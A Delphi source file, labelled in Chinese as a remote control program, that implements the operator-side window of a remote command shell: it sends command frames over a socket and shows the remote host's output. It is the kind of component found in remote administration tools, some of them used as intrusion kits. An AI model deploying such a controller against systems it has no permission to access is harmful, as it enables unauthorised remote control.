unitshell.pas

不错的远程控制程序

unit UnitShell;

interface

uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs,
  StdCtrls,
  ComCtrls,
  ExtCtrls,
  Sockets,
  CompressionStreamUnitForms, Buttons;

type
  TShell = class(TForm)
    Memo1: TMemo;
    procedure Refresh1Click(Sender: TObject);
//    procedure CheckBox1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
//    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormDeactivate(Sender: TObject);
    procedure Memo1KeyPress(Sender: TObject; var Key: Char);
  private
    { Private declarations }
    DataSocket: TCustomWinSocket;
    Connected: Boolean;
    ConnectNotifyInfo: TNotifyInfo;
    ReadNotifyInfo: TNotifyInfo;
    DisconnectNotifyInfo: TNotifyInfo;
    CmdBuffer: TMemoryStream;
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function SocketConnected: Boolean;
  public
    { Public declarations }
    RemoteAddress: string;
    WindowItem: TListItem;
  end;

implementation

{$R *.dfm}

uses
  UnitMain;

const
  CMD_TYPE = 13;
  CMD_START = 1;
  CMD_STOP = 2;
  CMD_DATA = 3;

function TShell.SocketConnected: Boolean;
begin
  if ((Connected) and (DataSocket <> nil)) then
  begin
    Connected := DataSocket.Connected;
    if not Connected then  Memo1.Clear; 
  end;
  Result := Connected;
end;

procedure TShell.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Shell: TShell;
  ConnectionInfo: TConnectionInfo;
begin
  Shell := TShell(Data);
  if TStreamRecord(Socket.Data).LocalAddress <> Shell.RemoteAddress then Exit;
  if Shell.DataSocket = nil then Shell.DataSocket := Socket else Exit;
  ConnectionInfo.ConnectionType := CMD_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  Shell.Connected := True;
  Shell.Memo1.Cursor:=crDefault;
 // Shell.Label3.Caption := ' 已连接: ' + Socket.RemoteAddress;
  Shell.Refresh1Click(nil);
  Socket := nil;
end;

procedure TShell.Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var
  Shell: TShell;
  sData: string;
begin
  Shell := TShell(Data);
  if Shell.DataSocket = Socket then
  begin
    try
      case CommandFrame.Command of
        CMD_DATA:
          begin
            SetLength(sData, Stream.Size);
            Stream.ReadBuffer(Pointer(sData)^, Stream.Size);
            Shell.Memo1.Text := Shell.Memo1.Text + sData;
            Shell.Memo1.SelStart := Length(Shell.Memo1.Text);
            SendMessage(Shell.Memo1.Handle, EM_SCROLLCARET, 0, 0);
          end;
        CMD_STOP:
          begin
            Shell.Memo1.Clear;
          end;
      end;
    finally
      Socket := nil;
    end;
  end;
end;

procedure TShell.Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Shell: TShell;
begin
  Shell := TShell(Data);
  if Shell.DataSocket = Socket then
  begin
    Shell.Connected := False;
    Shell.Memo1.Clear;
  //  Shell.CheckBox1.Enabled := False;
  //  Shell.CheckBox1.Checked := False;
    Socket := nil;
    Shell.DataSocket := nil;
  end;
end;

procedure TShell.FormCreate(Sender: TObject);
begin
  DataSocket := nil;
  ConnectNotifyInfo := TNotifyInfo.Create;
  ConnectNotifyInfo.Data := Self;
  ConnectNotifyInfo.Callback := @TShell.Connect;
  Main.NotifyConnectList.Add(ConnectNotifyInfo);
  ReadNotifyInfo := TNotifyInfo.Create;
  ReadNotifyInfo.Data := Self;
  ReadNotifyInfo.Callback := @TShell.Read;
  Main.NotifyReadList.Add(ReadNotifyInfo);
  DisconnectNotifyInfo := TNotifyInfo.Create;
  DisconnectNotifyInfo.Data := Self;
  DisconnectNotifyInfo.Callback := @TShell.Disconnect;
  Main.NotifyDisconnectList.Add(DisconnectNotifyInfo);
  CmdBuffer := TMemoryStream.Create;
end;

{procedure TShell.CheckBox1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
  if not CheckBox1.Enabled then Exit;
  if not SocketConnected then Exit;
  if CheckBox1.Checked then
  begin
    Memo1.Clear;
    CommandFrame.len := 0;
    CommandFrame.Command := CMD_START;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end
  else
  begin
    CommandFrame.len := 0;
    CommandFrame.Command := CMD_STOP;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
  end;
end; }

procedure TShell.Refresh1Click(Sender: TObject);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
  if not SocketConnected then Exit;
    Memo1.Clear;
    CommandFrame.len := 0;
    CommandFrame.Command := CMD_START;
    CommandFrame.ID := FRAME_ID;
    ReplyStream := TMemoryStream.Create;
    ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
    Main.SendStream(DataSocket, ReplyStream);
end;



{procedure TShell.FormCloseQuery(Sender: TObject;
  var CanClose: Boolean);
begin
  CanClose := not CheckBox1.Checked;
end;  }

procedure TShell.FormClose(Sender: TObject; var Action: TCloseAction);
var
  Socket: TCustomWinSocket;
begin
  Main.NotifyConnectList.Delete(Main.NotifyConnectList.IndexOf(ConnectNotifyInfo));
  Main.NotifyReadList.Delete(Main.NotifyReadList.IndexOf(ReadNotifyInfo));
  Main.NotifyDisconnectList.Delete(Main.NotifyDisconnectList.IndexOf(DisconnectNotifyInfo));
  CmdBuffer.Free;
  WindowItem.Delete;
  if DataSocket <> nil then
  begin
    if not SocketConnected then
    begin
      Socket := DataSocket;
      DataSocket := nil;
      Connected := False;
      Socket.Close;
    end;
  end;
end;

procedure TShell.FormDeactivate(Sender: TObject);
begin
  if WindowState = wsMinimized then Hide;
end;

procedure TShell.Memo1KeyPress(Sender: TObject; var Key: Char);
var
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;
begin
{ if not CheckBox1.Checked then
  begin
    Key := #0;
    Exit;
  end; }
  if Length(Memo1.Text) = 0 then
  begin
    Key := #0;
    Exit;
  end;
  if Memo1.SelStart <> Length(Memo1.Text) then
  begin
    Key := #0;
    Exit;
  end;
  if not SocketConnected then Exit;
  case Key of
    #8:
      begin
        if CmdBuffer.Size = 0 then
        begin
          Key := #0;
          Exit;
        end;
        CmdBuffer.SetSize(CmdBuffer.Size - 1);
      end;
    #13:
      begin
        CmdBuffer.WriteBuffer(Key, 1);
        Key := #10;
        CmdBuffer.WriteBuffer(Key, 1);
        Key := #13;
        CommandFrame.len := CmdBuffer.Size;
        CommandFrame.Command := CMD_DATA;
        CommandFrame.ID := FRAME_ID;
        ReplyStream := TMemoryStream.Create;
        ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
        ReplyStream.CopyFrom(CmdBuffer, 0);
        CmdBuffer.Clear;
        Main.SendStream(DataSocket, ReplyStream);
      end;
  else
    begin
      CmdBuffer.WriteBuffer(Key, 1);
    end;
  end;
end;


end.